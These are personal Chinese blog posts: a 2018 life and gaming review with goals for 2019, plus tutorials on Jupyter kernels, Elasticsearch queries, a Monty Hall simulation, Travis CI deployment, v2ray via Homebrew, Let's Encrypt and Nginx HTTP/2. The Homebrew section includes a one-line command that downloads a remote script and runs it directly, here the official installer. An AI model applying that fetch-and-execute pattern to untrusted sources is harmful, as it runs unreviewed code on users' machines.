  • 《深夜食堂》(第三季):看的不是菜,是人间百味。

游戏

年初买了 Nitendo Switch,不过没有太多时间花在玩游戏上,以至于《塞尔达传说:荒野之息》和《超级马里奥:奥德赛》都没有通关,只是偶尔用来玩玩 AoV,不过 NS 的体验确实非常不错,不论是个人还是联机,值得推荐。个人觉得游戏在于娱乐放松,若影响正常工作和情绪则视为不可,曾记得大学玩游戏还冲别人发过脾气也是太年轻。

《王者荣耀》 和 《Arena of Valor》

我在王者荣耀S13赛季又重新玩了一段时间,每天三五局,升个一星两星就停止,掉个一星两星也停止,就这样达到了个人历史最好成绩,不过这个过程给我带来的影响也不少。一个是我发现在白天的队友比较坑,而到了夜晚会好很多,估计是小学生都去睡觉了,所以我每到十一二点就开始玩,有时会因为连胜而玩到很晚,以致停止一段时间之后仍不能好好早睡,严重影响精神状态;二是一局结束又开一局,犹如赌博,赢则更想赢,输则不服气,往往计较于一城得失,实在是影响心气。这个游戏不能投入太多时间。

《塞尔达传说:荒野之息》 和 《超级马里奥:奥德赛》

zelda

很不错的游戏,只是都还没有玩通关,需要补上。

《旅行青蛙》

就和养儿子一样(虽然作者说的是丈夫),总是担心种种,吃没吃好,有没有被雨淋,有没有被欺负,路上还有钱吗。这就是为人父母的体验吧。

吃鸡

接触不多,不过和《王者荣耀》这种是一样的感受。看过一些游戏主播的视频,佩服一个LOL职业玩家转吃鸡的主播,在战场上沉稳,有判断。

Ingress

已经弃坑了,一则是因为满级了,并没有刷成就的习惯,同时也因为没有太多时间出门,二则官方一直没有太多的积极活动,每次就是换一个地方刷牌子,再则在手机升级到 iOS 11 之后,官方推出了 Ingress Prime,游戏体验万分糟糕,之前的版本却不升级,遂弃。Ingress玩了四五年,也疯狂过,但是还是离开吧。

生活

  1. 婚姻

今年一大事就是和老婆领证了,还没有办酒席,两人都商量着简办,请亲戚吃个饭就感觉已经很隆重了。参加了几次同学的婚礼,无非接亲,闹新郎,宣个誓言,在众亲友面前挥泪感恩,对于这样重复的婚礼,也没有太大的兴趣。梦想人生的婚礼应当刺激,可以在远山,或者,招待一群好友,准备一堆食物,准备一段给大家的表演,大家也可以上台表演,发表自己的感想。

  1. 旅行
  • 7月在云台山,看大山,打水战,舒畅。
  • 9月青龙峡,人生第一次蹦极,刺激。
  • 10月湖南长沙,看橘子洲头,品长沙臭豆腐,一般。
  1. 养猫

cat

11月,迎来家庭另一个成员,一只英国短毛蓝猫,取名“狗狗”。虽然有时会觉得这和取狗蛋差不多,也不知道会不会让其他猫看不起。第一次养猫,总是担心这担心那,生怕他生病了,像极了父母。久了我也发现他还是很粘人的,不知道年后给他找了女朋友之后会不会还是这么粘人。

  1. 关于亲戚和钱

十月,堂弟找我借钱周转,并承诺四天还,鉴于有承诺而且是亲戚,也就爽快借了。第一次到期没任何动静,还钱还是再接着一句话也没说,我问了才换来一句“明天,明天一定换”,接着第二次就是“最迟不会超过后天下午”,然后是到期还了一半,我没收,要全款,就继续拖着,一星期没动静,问了几句就变成在外地学习没开手机,“明天下午三点之前”,然后“再给一个小时”,“我手机没电了”。最后钱是还了,但是我对他的信任一点都没有了,直接拉黑! 这件事让伙我认识到一点:在钱面前,亲戚的嘴脸也是令人恶心的。我借钱是因为我信任,却不代表你可以践踏。想起一个村民中奖却被村里人借得倾家荡产,村里人却觉得他有钱为什么就不能借点,可怕。

展望2019

绝不是flag。

  1. 做一份关于Python的知识小集,不求多,但求记录下一些易错,有深度的小知识点。同时过一遍Python的参考文档,阅读一些框架源码。
  2. 维护现有开源翻墙项目。
  3. 每两周至少一篇博客,记录的内容不能太基础,需要有思考。
  4. 深入了解计算机基础,包括系统原理、数据结构和算法、网络基础和编译原理,这四个方面每一个都阅读一本书籍,理解并掌握常用内容。
  5. 在leetcode上刷50题。
  6. 机器学习:学完fast.ai的机器学习课程。
  7. 深度学习:学习fast.ai的深度学习课程,对应同步阅读花书。
  8. 减少游戏时间,不在十一点以后玩游戏。
  9. 学会五笔打字,速度至少能达到60字/分钟。
  10. 在App store上至少上架一个App。
  11. 了解投资相关内容。

写在最后

人生需要有目标,需要一个积极乐观的心态,和一群志同道合的同伴。

Making kernels for jupyter

一个内核是运行和解析用户代码的程序。IPython包含了一个运行和解析Python代码的内核,而且人们已经写了多种语言的内核。

当Jupyter开始一个内核的时候,它会传递它一个连接文件。它指定了如何与前端开始通信。

以下是实践:

安装环境

$ conda create -n py365400 python=3.6.5 jupyter ipykernel
$ conda activate py365

列出当前内核

在Unix系统中,可用的内核列在如下文件夹中(Kernel specs):

System:

  • /usr/share/jupyter/kernels
  • /usr/local/share/jupyter/kernels

Env:

  • {sys.prefix}/share/jupyter/kernels

User:

  • ~/.local/share/jupyter/kernels (Linux)
  • ~/Library/Jupyter/kernels (Mac)

用户位置的优先级高于系统级别的,忽略名字的大小写。因此不论系统是否大小写敏感,都可以以同样的烦噶事来获取内核。因为内核名字会在URL出现,因此内核名字需要是一个简单的,只使用ASCII字母,数字和简单的分隔符-._。 如果设置了 JUPYTER_PATH 环境变量的话,也会搜索其他位置。

例如在我的Mac上,有两个个内核,一个是 python 3 的,另一个是 pyspark(python 2) 的。

$  jupyter kernelspec list
Available kernels:
  pyspark2    /Users/qiwihui/Library/Jupyter/kernels/pyspark2
  python3     /usr/local/miniconda3/envs/py365/share/jupyter/kernels/python3

在内核文件夹下,现在会使用三种类型的文件。kernel.json, kernel.js和log图片文件。目前,没有使用其他文件,但是将来可能会改变。

最重要的文件是 kernel.json,应该是一个json序列化的字典包含以下字段

  • argv: 用来启动内核的命令行参数列表。{connection_file} 将会被实际的连接文件的路径替换。
  • display_name: 在UI上展示的内核名字。不像在API中使用的内核名字,这里的名字可以包含任意字符。
  • language: 内核的语言名字。当载入notebook的时候,如果没有找到匹配的内核,那么匹配相应语言的内核将会被启动。这样允许一个写了任何Python或者julia内核的notebook可以与用户的Python或者julia内核合适的联系起来,即使它们没有在与用户内核同样的名字下。
  • interrupt_mode:可能是signal或者message指定了客户端如何在这个内核中停止单元运行。是通过发送一个信号呢,还是发送一个interrupt_request消息在control channel。如果没有指定,将默认使用signal模式。
  • env:为内核设置的环境变量。在内核启动前,会添加到当前的环境变量里。
  • metadata:关于这个内核的其他相关属性。帮助客户端选择内核。

比如:

$ cat /usr/local/miniconda3/envs/py365/share/jupyter/kernels/python3/kernel.json 
{
 "argv": [
  "/usr/local/miniconda3/envs/py365/bin/python",
  "-m",
  "ipykernel_launcher",
  "-f",
  "{connection_file}"
 ],
 "display_name": "Python 3",
 "language": "python"
}

当内核开始的时候将会传入一个连接文件的路径,这个文件只对当前用户可用,会包含类似下面的一个JSON字典。

{
  "control_port": 50160,
  "shell_port": 57503,
  "transport": "tcp",
  "signature_scheme": "hmac-sha256",
  "stdin_port": 52597,
  "hb_port": 42540,
  "ip": "127.0.0.1",
  "iopub_port": 40885,
  "key": "a0436f6c-1916-498b-8eb9-e81ab9368e84"
}

transport, ip 和设定了该使用 ZeroMQ 绑定的五个_port。比如 shell 套接字的地址应该是:tcp://127.0.0.1:57503。在每个内核开始的时候会指定随意的端口。signature_schemekey 用来加密信息,因此系统的其他用户不能发送代码来运行内核。

现在我需要自己定义一个内核,这个内核可以执行我们定义的逻辑。

添加新内核

这是简单的重用 IPython 的内核机制来实现这个新的内核。

步骤:

子类化ipykernel.kernelbase.Kernel,然后实现下面的方法和属性

class MyKernel

- implementation
- implementation_version
- banner
    Kernel info会返回的信息。Implementation指的是内核而不是语言,比如IPython而不是Python。banner是在控制UI上显示第一个提示符之前的东西。这些都是字符串

- language_info
    Kernel info会返回的信息字典。应该包含mimetype键,值是目标语言的mimetype,比如text/x-python。name键是实现的语言比如python,file_extension比如.py,而且也可能根据不同语言包含codemirror_mode和pygments_lexer

- do_execute(code, silent, store_history=True, user_expressions=None, allow_stdin=False)

    执行用户代码

        - code:要执行的代码
        - silent:是否展示输出
        - store_history: 是否在历史里记录代码,并且增加执行次数。
        - user_expressions:在代码被执行后对这些表达式求值
        - allow_stdin:前端是否提供输入请求

    你的方法应该返回一个字典,包含在Execution results规定的字典。为了展现输出,它可以使用send_response() 来发送消息。

为了启动你的内核,在模块后面加上:

if __name__ == '__main__':
    from ipykernel.kernelapp import IPKernelApp
    IPKernelApp.launch_instance(kernel_class=MyKernel)

现在创建一个JSON的内核说明文件,然后通过 jupyter kernelspec install </path/to/kernel>。将你的内核模块放在Python可以导入的地方,一般是当前目录(做测试)。最后,你可以使用 jupyter console --kernel <mykernelname> 来运行你的内核。

例子:

$ ls echo/
echokernel.py kernel.json

echokernel.py:

from ipykernel.kernelbase import Kernel

class EchoKernel(Kernel):
    implementation = 'Echo'
    implementation_version = '1.0'
    language = 'no-op'
    language_version = '0.1'
    language_info = {
        'name': 'Any text',
        'mimetype': 'text/plain',
        'file_extension': '.txt',
    }
    banner = "Echo kernel - as useful as a parrot"

    def do_execute(self, code, silent, store_history=True, user_expressions=None,
                   allow_stdin=False):
        if not silent:
            stream_content = {'name': 'stdout', 'text': code}
            self.send_response(self.iopub_socket, 'stream', stream_content)

        return {'status': 'ok',
                # The base class increments the execution count
                'execution_count': self.execution_count,
                'payload': [],
                'user_expressions': {},
               }

if __name__ == '__main__':
    from ipykernel.kernelapp import IPKernelApp
    IPKernelApp.launch_instance(kernel_class=EchoKernel)

kernel.json:

{
    "argv":["python","-m","echokernel", "-f", "{connection_file}"],
    "display_name":"Echo"
}

安装

$ jupyter kernelspec install echo --user

这里,只为当前用户添加这个kernel。

查看

$ jupyter notebook

选择新创建的内核创建 notebook,并运行代码。

jupyter with new kernel echo

image

一些坑

  1. 运行 notebook 时无法找到 echokernel 模块:
[I 15:48:27.754 NotebookApp] Kernel started: 77759cfa-db55-4b70-be23-c14d69f8d87d
/usr/local/miniconda3/envs/py365/bin/python: No module named echokernel
[I 15:48:30.750 NotebookApp] KernelRestarter: restarting kernel (1/5), new random ports
/usr/local/miniconda3/envs/py365/bin/python: No module named echokernel
[I 15:48:33.766 NotebookApp] KernelRestarter: restarting kernel (2/5), new random ports
/usr/local/miniconda3/envs/py365/bin/python: No module named echokernel
[I 15:48:36.789 NotebookApp] KernelRestarter: restarting kernel (3/5), new random ports
/usr/local/miniconda3/envs/py365/bin/python: No module named echokernel
[I 15:48:39.812 NotebookApp] KernelRestarter: restarting kernel (4/5), new random ports
/usr/local/miniconda3/envs/py365/bin/python: No module named echokernel

需要将 echokernel.py 放置在 python PATH 中 ,这样在执行命令时才能访问到。

更多命令

$ jupyter kernelspec help
Manage Jupyter kernel specifications.

Subcommands
-----------

Subcommands are launched as `jupyter kernelspec cmd [args]`. For information on
using subcommand 'cmd', do: `jupyter kernelspec cmd -h`.

list
    List installed kernel specifications.
install
    Install a kernel specification directory.
uninstall
    Alias for remove
remove
    Remove one or more Jupyter kernelspecs by name.
install-self
    [DEPRECATED] Install the IPython kernel spec directory for this Python.

To see all available configurables, use `--help-all`

删除内核

$ jupyter kernelspec uninstall echo

参考

Elasticsearch cheat sheet

1

curl -X<REST Verb> <Node>:<Port>/<Index>/<Type>/<ID>

curl -XPOST 'localhost:9200/bank/_search?pretty' -d '
{
  "query": { "match_all": {} },
  "_source": ["account_number", "balance"],
  "sort": { "balance": { "order": "desc" } }
}'

bool must: 所有的查询都必须为真 bool should: 只要有一个查询匹配 bool must_not: 查询列表中的的所有查询都必须都不为真

2. 执行过滤器

_score: 指定的搜索查询匹配程度的一个相对度量。得分越高,文档越相关,得分越低文档的相关度越低。 Elasticsearch中的所有的查询都会触发相关度得分的计算。对于那些我们不需要相关度得分的场景下,Elasticsearch以过滤器的形式提供了另一种查询功能。

过滤器在概念上类似于查询,但是它们有非常快的执行速度,这种快的执行速度主要有以下两个原因:

  • 过滤器不会计算相关度的得分,所以它们在计算上更快一些
  • 过滤器可以被缓存到内存中,这使得在重复的搜索查询上,其要比相应的查询快出许多。

通常情况下,要决定是使用过滤器还是使用查询,你就需要问自己是否需要相关度得分。如果相关度是不重要的,使用过滤器,否则使用查询。

curl -XPOST 'localhost:9200/bank/_search?pretty' -d '
{
  "query": {
    "filtered": {
      "query": { "match_all": {} },
      "filter": {
        "range": {
          "balance": {
            "gte": 20000,
            "lte": 30000
          }
        }
      }
    }
  }
}'

3

doc[‘my_field’].value和_source.my_field之间的不同:

  • 首先,使用doc关键字,会使相应的字段加载到内存,执行速度更快但是更耗费内存;
  • 第二,doc[…]符号 仅允许简单的值字段,只在基于字段的非分析或者单个项上有意义;
  • _source加载、分析source,然后仅仅返回相关部分的json。

参考

  • elasticsearch guide chinese
  • https://gist.github.com/ruanbekker/e8a09604b14f37e8d2f743a87b930f93
  • https://gist.github.com/stephen-puiszis/212b8a8b37f67c670422

一个关于数学概率的问题

题目–百万英雄

你参加一个游戏,在你面前有4张1000万支票,其中一张是真的。游戏开始,你选了一张,之后主持人在剩下 的3张里,选择一个展示出来,验证后发现是假的。

问题:请分情况理性分析,此时,你的参赛权的价格

  • 情况一:不允许修改之前的选择
  • 情况二:有重新选择的权利

回答:请用下面两种方法分别作答

  • 方式1(理论推导):请给出理论推导和计算过程,情况二需说明如何行使权力;
  • 方式2(编程模拟):使用程序准确客观地模拟上述两种情况下,选手平均获得的奖金,得到参赛权的价格。

解答

方式1(理论推导)

情况1: 不能重新选择时获奖的概率是1/4 情况2: 可以重新选择时是3/8 理由:

  1. 不能重新选择时,你的选择不受主持人选择的影响,故为 1/4;
  2. 可以重新选择时,会受主持人的影响,是后验概率;第一步选择时,有四种可选,有 1/4 选择真实的,3/4 选择错误的,主持人的选择在剩下的三个中排除了一个错误的,剩两个。选择真实后重选,再次选中的概率为0,故为 1/4 * 0 = 0;选择假的后重选,选中概率为1/2,故为 3/4 * 1/2 = 3/8;总的选中真的概率为 0 + 3/8 = 3/8

方式2(编程模拟):

import random


class Hero:
    """英雄
    """

    def __init__(self):
        self.num = None

    def pick(self, nums):
        self.num = random.choice(nums)


class Host:
    """主持人
    """
    def __init__(self):
        self.num = None

    def pick(self, nums, bnum):
        """主持人
        """
        self.num = random.choice(nums)
        while bnum == self.num:
            self.num = random.choice(nums)

class MH:
    """游戏过程
    """
    def __init__(self):
        self.nums = [0, 1, 2, 3]
        self.host = Host()
        self.hero = Hero()
        self.bnum = random.randint(0, 3)

    def reward(self):
        """奖励
        """
        if self.hero.num == self.bnum:
            return 100
        else:
            return 0

    def play_without_regret(self):
        """不允许修改之前的选择
        """
        self.hero.pick(self.nums)
        self.nums.remove(self.hero.num)
        self.host.pick(self.nums, self.bnum)
        return self.reward()

    def play_with_regret(self):
        """有重新选择的权利
        """
        self.hero.pick(self.nums)
        self.nums.remove(self.hero.num)
        self.host.pick(self.nums, self.bnum)
        self.nums.remove(self.host.num)
        self.hero.pick(self.nums)
        return self.reward()

sum1 = 0
sum2 = 0
# 模拟10000次
times = 10000
for i in range(times):
    sum1 += MH().play_without_regret()
    sum2 += MH().play_with_regret()
avg1 = sum1/float(times)
avg2 = sum2/float(times)
print(avg1)
print(avg2)

结果:

>> python bh.py
24.81
37.12

与理论计算一致

引申

三门问题(Monty Hall Problem) 电影《决胜21点》

使用 Travis CI 自动更新博客

Travis CI 自动检测代码变化,拉取,编译博客并部署到 GitHub Pages

写好博客之后,部署总会占去一段时间:编译、部署、推送和检查。手动部署多了也就烦了,一则容易出错, 比如把 master 分支用 gh-pages 分支覆盖了,二则劳动是重复的,重复的劳动就应该自动化去解决。

最早的想法

使用 GitHub Webhooks 实现自动部署,这就需要有一台服务器,在服务器上启动服务接受 Github 的 回调,然后拉取代码,编译,将编译后的代码要么部署在同一台服务器上,要么推送到代码 gh-pages 分 支上。前者额外需要编写服务,配置博客 Nginx,可能还需要配置 HTTPS,以及对服务器进行加固,总归 就是需要额外的更多东西来支持。所以还是觉得用已经存在的线上自动化服务方便一些(其实就是懒)。

Travis CI

持续集成(Continuous Integration,CI)的 SaaS 服务,好处不言而喻。

配置 Travis

gem install travis
travis login
language: node_js
node_js:
- 6.9.0
install:
- git submodule update --init
- npm install hexo-cli -g
- npm install
script:
- hexo clean
- hexo generate --deploy --quiet
branches:
  only:
  - master
cache:
  directories:
  - node_modules
notifications:
  email:
    recipients:
    - qwh005007@gmail.com
    on_success: change
    on_failure: always

使用 Travis 自动部署

ERROR Deployer not found: git

hexo-deployer-git

npm install hexo-deployer-git --save

配置认证

往 Github 仓库中提交代码是需要认证的,不管是用用户密码,Access Token还是SSH key。一种方法是 直接将认证写在 .config.yml 中,不是说不行,是太年轻。好在 Travis CI 不仅支持加密文件, 也支持加密 Keys,这就为认证这一块 扫清了道路,我决定使用 OAuth 认证 Git 来提交代码到仓库中。

操作步骤:

  1. 生成 Github Personal Access Token;

  2. 使用 Travis CI 命令行加密 Personal Access Token;

    travis encrypt GH_TOKEN=<token> --add
    
  3. .travis.yml 中添加配置

    before_install:
    - git config --global push.default matching
    - git config --global user.name "qiwihui via Travis CI"
    - git config --global user.email "qwh005007@gmail.com"
    - sed -i'' "/^ *repo/s~github\.com~${GH_TOKEN}@github.com~" _config.yml
    
    env:
      global:
      - secure: IYXTVHItgbEn...
    

在 Travsi CI 中配置项目

  1. Publicizing or hiding organization membership

自定义域名

  1. qiwihui.github.io/qiwihui/ => blog.qiwihui.com
  2. Enforce https

胜利完成!

参考

用Homebrew 安装 v2ray 以及 Homebrew-cask 安装 V2RayX

最近开始转向使用 v2ray 作为主要的翻墙工具,在 macOS 上安装和使用都需要下载编译好的软件包然后解包使用,不是很方便,联系到 macOS 下常用的包管理 Homebrew,何不自己提交一个?

v2ray及V2RayX是啥?

V2Ray 是一个模块化的代理软件包,它的目标是提供常用的代理软件模块,简化网络代理软件的开发。

简单说 v2ray 就是翻墙代理软件(但不止于软件,是一个平台)。V2RayX 就是 macOS 下一个简单的 v2ray 的GUI程序。

Homebrew呢?

macOS上强大的包管理工具,类似于Ubuntu的apt。

安装:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

使用,比如下载 curl:

brew install curl

安装v2ray

不知道为啥,官方的Homebrew Formula不接受 v2ray 源,所以只能自己写了,见 qiwihui/homebrew-v2ray

安装:

brew tap qiwihui/v2ray
brew install v2ray-core

使用:

首先,需要配置 /usr/local/etc//v2ray.config.json; 其次,配置v2ray登录时自动开启:

brew services start v2ray-core

或者,可以手动运行:

v2ray -config=/usr/local/etc//v2ray.config.json

安装V2RayX

我向官方 Homebrew-Cask 提交了一个Formula,可以直接使用如下命令安装

brew cask install v2rayx

不过GUI毕竟不能覆盖命令行的全部功能,所以能用命令行v2ray的话,就尽量不使用V2RayX吧。

使用免费的let’s encrypt证书为网站开启https(已过时)

这篇博客将介绍使用免费的let’s encrypt证书, 为网站开启https。

HTTPS简介

(https, http over ssl)

为啥要用Let’s Encrypt

(free, easy)

Let’s Encrypt介绍

(directory tree)

安装实践

我使用的是Debian 7,其他系统类似。

  1. 使用官方推荐的letsencrypt-auto安装:
$ git clone https://github.com/letsencrypt/letsencrypt

$ cd letsencrypt

$ ./letsencrypt-auto --help
  1. 获取证书

实验前,我已将www.qiwihui.com站点移到了要安装的服务器上,nginx已经在运行,因此可以使用 webroot 模式来获取证书, 先安装webroot插件,这是一个可以不用停止 Web 服务就能让 Let’s Encrypt 验证域名的插件:

location ~ /.well-known {
    allow all;
}

安装证书命令如下:

$ ./letsencrypt-auto certonly --webroot --webroot-path /var/www/blog/ -d qiwihui.com -d www.qiwihui.com --agree-tos --email qiwihui@qiwihui.com

其中/var/www/blog/为网站根目录。证书申请成功后会提示一下信息,包括证书存放目录和证书过期时间:

IMPORTANT NOTES:

- Congratulations! Your certificate and chain have been saved at
/etc/letsencrypt/live/qiwihui.com/fullchain.pem. Your cert will
expire on 2016-07-08. To obtain a new version of the certificate in
the future, simply run Let's Encrypt again.

- If you like Let's Encrypt, please consider supporting our work by:

Donating to ISRG / Let's Encrypt:  https://letsencrypt.org/donate
Donating to EFF:                    https://eff.org/donate-le

重要提示:需要将站点的DNS指向对用的服务器,否则会提示申请不过。

  1. 配置Nginx

首先生成2048位 DH parameters:

$ mkdir -p /var/www/ssl/
$ sudo openssl dhparam -out /var/www/ssl/dhparam.pem 2048

Nginx的配置如下:

server {
        listen 443 ssl;

        server_name qiwihui.com www.qiwihui.com;

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_certificate     /etc/letsencrypt/live/qiwihui.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/qiwihui.com/privkey.pem;

        ssl_dhparam /var/www/ssl/dhparam.pem;

        ssl_prefer_server_ciphers  on;
        ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';

	#网站其他配置
}

如果想要开启全站 https 的话,需要将 http 转向到 https,再添加一个 server 就好了:

server {
    listen 80;
    server_name qiwihui.com www.qiwihui.com;
    return 301 https://$server_name$request_uri;
}

修改完成后reload nginx 就可以了:nginx -s reload

验证检测

  1. 用浏览器打开目标网址https://qiwihui.com,可以查看到证书信息:
10-https-on-qiwihui-com
  1. 使用 Qualys ssllabs 在线测试服务器证书强度以及配置正确性:
10-ssllabs-results

后续更新

Let’s Encrypt 的有效期只有90天,官方客户端不支持持续更新,所以要设置自动更新,让证书一直有效。

在crontab 中设置定时任务:

30 2 * * 1 /root/letsencrypt/letsencrypt-auto renew >> /var/log/le-renew.log
35 2 * * 1 /etc/init.d/nginx reload

上述配置会再每周一凌晨2:30执行letsencrypt-auto renew,在2点35分重新加载nginx配置,同时更新日志会在写在/var/log/le-renewal.log中。

总结

Let’s Encrypt TLS/SSL is free.

Nginx服务器设置HTTP/2

我的博客已经支持了 HTTP/2, 在此将介绍如何在 Nginx 上设置 HTTP/2 及相关注意事项(坑)。

前提

HTTP/2 安装需要以下前提:

  • Nginx 版本在1.9.5以上
  • OpenSSL 版本在 1.0.2g 以上(支持 ALPN)

不同 Linux 系统对于 ALPNNPN 的支持可以参见下表

Operating SystemOpenSSL VersionALPN and NPN Support
CentOS/Oracle Linux/RHEL 5.10+0.9.8eNeither
CentOS/Oracle Linux/RHEL 6.5+, 7.0+1.0.1eNPN
Ubuntu 12.04 LTS1.0.1NPN
Ubuntu 14.04 LTS1.0.1fNPN
Ubuntu 16.04 LTS1.0.2gALPN and NPN
Debian 7.01.0.1eNPN
Debian 8.01.0.1kNPN

所以要么升级使用带有 OpenSSL 1.0.2 的 Ubuntu 16.04 LTS,要么从头编译 Nginx.

我的服务器系统是 Debian 7, OpenSSL 版本是1.0.1t, 所以需要重新编译 Nginx 和 OpenSSL.

安装过程

安装 OpenSSL

下载并安装 OpenSSL:

# cd ~
# wget http://www.openssl.org/source/openssl-1.1.0e.tar.gz
# tar -zxf openssl-1.1.0e.tar.gz
# cd openssl-1.1.0e
# ./configure
# make
# sudo make install

使用 openssl version 来查看安装好的 OpenSSL 的版本。

其他 Nginx 编译需要的环境

需要编译 PCRE 库和 zlib 库[]:

# wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.40.tar.gz
# tar -zxf pcre-8.40.tar.gz
# cd pcre-8.40
# ./configure
# make
# sudo make install
# wget http://zlib.net/zlib-1.2.11.tar.gz
# tar -zxf zlib-1.2.11.tar.gz
# cd zlib-1.2.11
# ./configure
# make
# sudo make install

编译 Nginx

首先,下载最新的 nginx,我使用 1.10.3.

cd ~
wget -c http://nginx.org/download/nginx-1.10.3.tar.gz
tar xzvf nginx-1.10.3.tar.gzcd nginx-1.10.3

其实,获取 Nginx 配置参数,使新版 Nginx 和之前的配置一样

# nginx -V

nginx version: nginx/1.9.6
built by gcc 4.7.2 (Debian 4.7.2-5) 
built with OpenSSL 1.0.1t  3 May 2016
TLS SNI support enabled
configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-file-aio --with-threads --with-ipv6 --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_ssl_module --with-cc-opt='-g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie'

上述配置用已经有 --with-http_v2_module 选项了,还需要在上述配置参数后面加上 --with-openssl=/path/to/your/openssl-1.1.0e 指向新版本的 OpenSSL 文件夹

./configure --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-file-aio --with-threads --with-ipv6 --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_ssl_module --with-cc-opt='-g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie' --with-openssl=/home/qiwihui/openssl-1.1.0e

可以看到大致输出为

Configuration summary
  + using threads
  + using system PCRE library
  + using OpenSSL library: /home/qiwihui/openssl-1.1.0e
  + md5: using OpenSSL library
  + sha1: using OpenSSL library
  + using system zlib library

  nginx path prefix: "/etc/nginx"
  nginx binary file: "/usr/sbin/nginx"
  nginx modules path: "/usr/lib/nginx/modules"
  nginx configuration prefix: "/etc/nginx"
  nginx configuration file: "/etc/nginx/nginx.conf"
  nginx pid file: "/var/run/nginx.pid"
  nginx error log file: "/var/log/nginx/error.log"
  nginx http access log file: "/var/log/nginx/access.log"
  nginx http client request body temporary files: "/var/cache/nginx/client_temp"
  nginx http proxy temporary files: "/var/cache/nginx/proxy_temp"
  nginx http fastcgi temporary files: "/var/cache/nginx/fastcgi_temp"
  nginx http uwsgi temporary files: "/var/cache/nginx/uwsgi_temp"
  nginx http scgi temporary files: "/var/cache/nginx/scgi_temp"

最后,编译并安装

# make
# sudo make install

之后就可以看到已经安装好了新版 Nginx了。

配置

配置 HTTPS

请参考之前博客 使用免费的let’s encrypt证书为网站开启https

开启 http/2

第一步完成后就设置好了一个 HTTPS 的网站了,在此基础之上开始 HTTP/2。首先,开启 HTTP/2:

listen 443 ssl http2 default_server;

其次,去除HTTP/2不支持的旧的不安全的密码套件[5]:

ssl_prefer_server_ciphers on;
ssl_ciphers EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;

最后,检查配置并重启 Nginx:

# nginx -t

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

# sudo /etc/init.d/nginx restart

检查

至此,不出问题的话你的服务器已经开始支持 HTTP/2 了,可以使用 HTTP/2 Test 来检测是否支持了 HTTP/2

其中,对 ALPN 的支持可以使用 OpenSSL 来检测:

echo | openssl s_client -alpn h2 -connect qiwihui.com:443 | grep ALPN

如果输出中包含 ALPN protocol: h2,说明服务端支持 ALPN,如果输出中包含 No ALPN negotiated,说明服务端不支持 ALPN

同时,在 Chrome 的开发者工具中也可以看到协议的版本

同时还可以对 HTTP/2 进行优化,请参见[6],不赘述了。

附录

附录一份 Nginx 的 http/2 简单配置

server {
        listen 443 ssl http2 default_server;
        listen [::]:443 ssl http2 default_server;

        server_name example.com www.example.com; 

